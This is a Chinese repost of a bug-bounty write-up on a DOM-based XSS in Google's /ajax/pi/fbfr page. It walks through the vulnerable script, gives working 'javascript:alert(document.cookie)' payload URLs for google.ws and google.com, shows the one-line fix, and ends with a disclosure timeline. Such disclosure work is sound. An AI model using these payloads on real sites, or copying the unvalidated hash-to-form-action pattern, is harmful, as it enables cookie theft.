Bug Bounty:利用Acunetix发现Google XSS

释放双眼,带上耳机,听听看~!

tl;dr

Link和作者使用Acunetix扫描器发现了Google的一处XSS。

Acunetix漏洞报告

作为日常的研究工作,我们经常用不同的漏洞扫描器扫描Google的各种服务。不久前漏洞扫描器报告了以下XSS

https://google.ws/ajax/pi/fbfr?wvstest=javascript:domxssExecutionSink(1,%22%27%5C%22%3E%3Cxsstag%3E()locxss%22)

有时候存在误报情况,但既然扫到了Google的漏洞,还是要深入研究一下。

分析HTTP响应

接下来就是检查分析HTTP响应

HTTP/1.1 200 OK
...
<!doctype html><div style="display:none"> <form method="post"> </form> <script nonce="+ao+4Egc+7YExl3qyyWMJg==">(function(){var a=window.document.forms[0],b=location.hash.substr(1);b||window.close();var c=b.split("&"),d=decodeURIComponent(c[0]);a.action=d;for(var e=1;e<c.length;e++){var f=c[e].split("="),g=document.createElement("input");g.type="hidden";g.name=f[0];g.value=decodeURIComponent(f[1]);a.appendChild(g)}a.submit();}).call(this);</script> </div>

该响应包含一个空表单和一些JavaScript代码。我们将代码弄得美观一些

(function() {
    var a = window.document.forms[0],
        b = location.hash.substr(1);
    b || window.close();
    var c = b.split("&"),
        d = decodeURIComponent(c[0]);
    a.action = d;
    for (var e = 1; e < c.length; e++) {
        var f = c[e].split("="),
            g = document.createElement("input");
        g.type = "hidden";
        g.name = f[0];
        g.value = decodeURIComponent(f[1]);
        a.appendChild(g)
    }
    a.submit();
}).call(this);

然后了解代码每一步的原理

(function() {
// 将要自动执行的函数 
}).call(this);
(function() {
  // The variable “a” points to a form that is empty right now
    var a = window.document.forms[0],
    // The variable b is a location hash without the # character
        b = location.hash.substr(1);
  // If there is no b (no hash in the location URI), try to self-close
    b || window.close();
  // Split the location hash using the & character
    var c = b.split("&"),
    // And decode the first (zero) element
        d = decodeURIComponent(c[0]);
  // The hash value becomes the action of the form
    a.action = d;
// The below content is not important in the context of the issue
    for (var e = 1; e < c.length; e++) {
        var f = c[e].split("="),
            g = document.createElement("input");
        g.type = "hidden";
        g.name = f[0];
        g.value = decodeURIComponent(f[1]);
        a.appendChild(g)
    }
  // The form is auto-submitted
    a.submit();
}).call(this);

找到合适的payload

一旦我们知道了函数的工作原理,接下来就是构造一个合适的payload:

https://google.ws/ajax/pi/fbfr#javascript:alert(document.cookie)

我们还决定看看此漏洞是否会影响其他Google域:

https://google.com/ajax/pi/fbfr#javascript:alert(document.cookie)

修复措施

只需更改一行代码即可消除该漏洞:

(function() {
    var a = window.document.forms[0],
        b = location.hash.substr(1);
    b || window.close();
    var c = b.split("&"),
        d = decodeURIComponent(c[0]);
  // 只需更改以下行。 
  // to check if the location hash begins with http:
    0 != d.indexOf("http") && window.close();
    a.action = d;
    for (var e = 1; e < c.length; e++) {
        var f = c[e].split("="),
            g = document.createElement("input");
        g.type = "hidden";
        g.name = f[0];
        g.value = decodeURIComponent(f[1]);
        a.appendChild(g)
    }
    a.submit();
}).call(this);

时间线

漏洞报告时间:2019年12月27日上午01:01。
漏洞分类时间:2019年12月27日下午08:32。
修复时间:2020年1月8日。
支付赏金:2020年1月8日。
赏金金额:5000美元

原文:https://www.acunetix.com/blog/web-security-zone/xss-google-acunetix/

本文来自先知社区

相关文章

人已赞赏
安全工具

Obfuscapk:一款针对Android应用程序的黑盒混淆工具

2020-3-3 22:00:55

安全工具

Check-LocalAdminHash:一款基于PowerShell的本地管理员识别工具

2020-3-3 22:01:21

0 条回复 A文章作者 M管理员
    暂无讨论,说说你的看法吧
个人中心
购物车
优惠劵
今日签到
有新私信 私信列表
有新消息 消息中心
搜索